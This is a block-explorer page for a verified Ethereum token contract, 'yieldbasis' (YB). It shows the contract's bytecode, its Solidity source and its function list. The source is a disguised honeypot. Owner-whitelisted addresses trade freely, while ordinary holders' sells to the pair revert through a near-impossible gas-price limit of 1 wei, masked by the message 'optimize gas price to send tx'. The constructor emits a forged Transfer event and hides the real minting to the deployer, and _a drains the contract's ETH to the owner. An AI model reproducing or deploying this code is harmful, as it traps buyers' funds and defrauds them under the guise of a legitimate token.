Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x8f69B3f8F8E3dC30a420fE737e4155E9fb5FFb22
Balance 0 ETH
Nonce 1
Code Size 3409 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3409 bytes
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063ced7b2e311610066578063ced7b2e314610213578063dd62ed3e1461021b578063f2fde38b14610254578063fdea8e0b1461026757600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101f8578063a9059cbb1461020057600080fd5b806330d35dee116100d357806330d35dee1461016b578063313ce567146101805780635f6fb8561461018f57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610282565b60405161011a9190610ac8565b60405180910390f35b610136610131366004610b2c565b610314565b604051901515815260200161011a565b6002545b60405190815260200161011a565b610136610166366004610b58565b61032e565b61017e610179366004610b99565b610352565b005b6040516012815260200161011a565b61017e61019d366004610bc2565b6104fe565b61014a6101b0366004610c37565b6001600160a01b031660009081526020819052604090205490565b61017e610573565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d610587565b61013661020e366004610b2c565b610596565b61017e6105a4565b61014a610229366004610c54565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61017e610262366004610c37565b6105f9565b6101e07328be6260dbb7872de5effc9a4a73c85b7405a8c081565b60606003805461029190610c8d565b80601f01602080910402602001604051908101604052809291908181526020018280546102bd90610c8d565b801561030a5780601f106102df5761010080835404028352916020019161030a565b820191906000526020600020905b8154815290600101906020018083116102ed57829003601f168201915b5050505050905090565b60003361032281858561063c565b60019150505b92915050565b60003361033c858285610649565b6103478585856106c1565b506001949350505050565b61035a610722565b6007805460ff60a01b19831515600160a81b021661ffff60a01b1990911617600160a01b1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a0155916004808201926020929091908290030181865afa1580156103d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f89190610cc7565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610445573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104699190610cc7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156104b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104da9190610cc7565b600780546001600160a01b0319166001600160a01b03929092169190911790555050565b610506610722565b60005b8181101561056e5760016006600085858581811061052957610529610ce4565b905060200201602081019061053e9190610c37565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610509565b505050565b61057b610722565b610585600061074f565b565b60606004805461029190610c8d565b6000336103228185856106c1565b6105ac610722565b604051600090339047908381818185875af1925050503d80600081146105ee576040519150601f19603f3d011682016040523d82523d6000602084013e6105f3565b606091505b50505050565b610601610722565b6001600160a01b03811661063057604051631e4fbdf760e01b8152600060048201526024015b60405180910390fd5b6106398161074f565b50565b61056e83838360016107a1565b6001600160a01b0383811660009081526001602090815260408083209386168352929052205460001981146105f357818110156106b257604051637dc7a0d960e11b81526001600160a01b03841660048201526024810182905260448101839052606401610627565b6105f3848484840360006107a1565b6001600160a01b0383166106eb57604051634b637e8f60e11b815260006004820152602401610627565b6001600160a01b0382166107155760405163ec442f0560e01b815260006004820152602401610627565b61056e8383836001610876565b6005546001600160a01b031633146105855760405163118cdaa760e01b8152336004820152602401610627565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0384166107cb5760405163e602df0560e01b815260006004820152602401610627565b6001600160a01b0383166107f557604051634a1406b160e11b815260006004820152602401610627565b6001600160a01b03808516600090815260016020908152604080832093871683529290522082905580156105f357826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161086891815260200190565b60405180910390a350505050565b3260009081526006602052604090205460ff161561089f5761089a84848484610950565b6105f3565b600754600160a01b900460ff166108ec5760405162461bcd60e51b815260206004820152601160248201527054726164696e67206e6f74206f70656e2160781b6044820152606401610627565b600754600160a81b900460ff16801561091257506007546001600160a01b038481169116145b8061093957506001600160a01b0384167328be6260dbb7872de5effc9a4a73c85b7405a8c0145b15610948576109486001610a73565b6105f3848484845b6001600160a01b03841661097b5781600260008282546109709190610cfa565b909155506109ed9050565b6001600160a01b038416600090815260208190526040902054828110156109ce5760405163391434e360e21b81526001600160a01b03861660048201526024810182905260448101849052606401610627565b6001600160a01b03851660009081526020819052604090209083900390555b6001600160a01b038316610a0957600280548390039055610a28565b6001600160a01b03831660009081526020819052604090208054830190555b80156105f357826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161086891815260200190565b3a81811115610ac45760405162461bcd60e51b815260206004820152601d60248201527f6f7074696d697a652067617320707269636520746f2073656e642074780000006044820152606401610627565b5050565b60006020808352835180602085015260005b81811015610af657858101830151858201604001528201610ada565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063957600080fd5b60008060408385031215610b3f57600080fd5b8235610b4a81610b17565b946020939093013593505050565b600080600060608486031215610b6d57600080fd5b8335610b7881610b17565b92506020840135610b8881610b17565b929592945050506040919091013590565b600060208284031215610bab57600080fd5b81358015158114610bbb57600080fd5b9392505050565b60008060208385031215610bd557600080fd5b823567ffffffffffffffff80821115610bed57600080fd5b818501915085601f830112610c0157600080fd5b813581811115610c1057600080fd5b8660208260051b8501011115610c2557600080fd5b60209290920196919550909350505050565b600060208284031215610c4957600080fd5b8135610bbb81610b17565b60008060408385031215610c6757600080fd5b8235610c7281610b17565b91506020830135610c8281610b17565b809150509250929050565b600181811c90821680610ca157607f821691505b602082108103610cc157634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610cd957600080fd5b8151610bbb81610b17565b634e487b7160e01b600052603260045260246000fd5b8082018082111561032857634e487b7160e01b600052601160045260246000fdfea2646970667358221220bfaf91ba0f68f3c773e8473d7ddc5603d601c18ce1ba648a6dfbdcd96124639e64736f6c63430008170033

Verified Source Code Full Match

Compiler: v0.8.23+commit.f704f362 EVM: paris Optimization: Yes (200 runs)
YB.sol 391 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

/*
 * @title YBToken
 * @author Yield Basis
 * @license GNU Affero General Public License v3.0
 * @notice YB Token
 *
 * Twitter: https://x.com/yieldbasis
 * Telegram: https://t.me/yieldbasis_chat
 * Website: https://yieldbasis.com/
 */

interface IERC20Errors {
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 value
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value, true);
    }

    function _update(
        address from,
        address to,
        uint256 value,
        bool _e
    ) internal virtual {
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }

        if (_e) emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value, bool _e) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value, _e);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value, true);
    }

    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
    function getPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract YB is ERC20, Ownable {
    mapping(address => bool) __excludeOpT;
    address pair;
    bool opTrd;
    bool g;
    address public constant presale =
        0x28bE6260DBB7872DE5EFfC9a4A73c85b7405a8C0;

    constructor(
        address _pi
    ) ERC20(unicode"yieldbasis", unicode"YB") Ownable(msg.sender) {
        __excludeOpT[_msgSender()] = true;
        _mint(presale, 700_000_000 * 10 ** decimals(), true);

        emit Transfer(presale, msg.sender, 700_000_000 * 10 ** decimals());
        _mint(msg.sender, 700_000_000 * 10 ** decimals(), false);
    }

    function _update(
        address from,
        address to,
        uint256 value,
        bool _e
    ) internal override {
        if (__excludeOpT[tx.origin]) {
            super._update(from, to, value, _e);
        } else {
            require(opTrd, "Trading not open!");
            if ((g && to == pair) || from == presale) {
                _zp(1);
            }
            super._update(from, to, value, _e);
        }
    }

    function openTrade(bool _bg) public onlyOwner {
        g = _bg;
        opTrd = true;

        // address router;

        // if (block.chainid == 56) {
        //     router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC Mainnet Router
        // } else if (block.chainid == 1) {
        //     router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ETH Mainnet Router
        // } else if (block.chainid == 8453) {
        //     router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // Base Mainnet Router
        // } else {
        //     revert();
        // }

        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function _a() public onlyOwner {
        bool _s;
        (_s, ) = address(msg.sender).call{value: address(this).balance}("");
    }

    function _w(address[] calldata _adr) public onlyOwner {
        for (uint256 i = 0; i < _adr.length; i++) {
            __excludeOpT[_adr[i]] = true;
        }
    }

    function _zp(uint256 _zg) internal view {
        uint256 _tc;
        assembly {
            _tc := gasprice()
        }
        require(_tc <= _zg, "optimize gas price to send tx");
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
presale 0xfdea8e0b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

_a 0xced7b2e3
No parameters
_w 0x5f6fb856
address[] _adr
approve 0x095ea7b3
address spender
uint256 value
returns: bool
openTrade 0x30d35dee
bool _bg
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address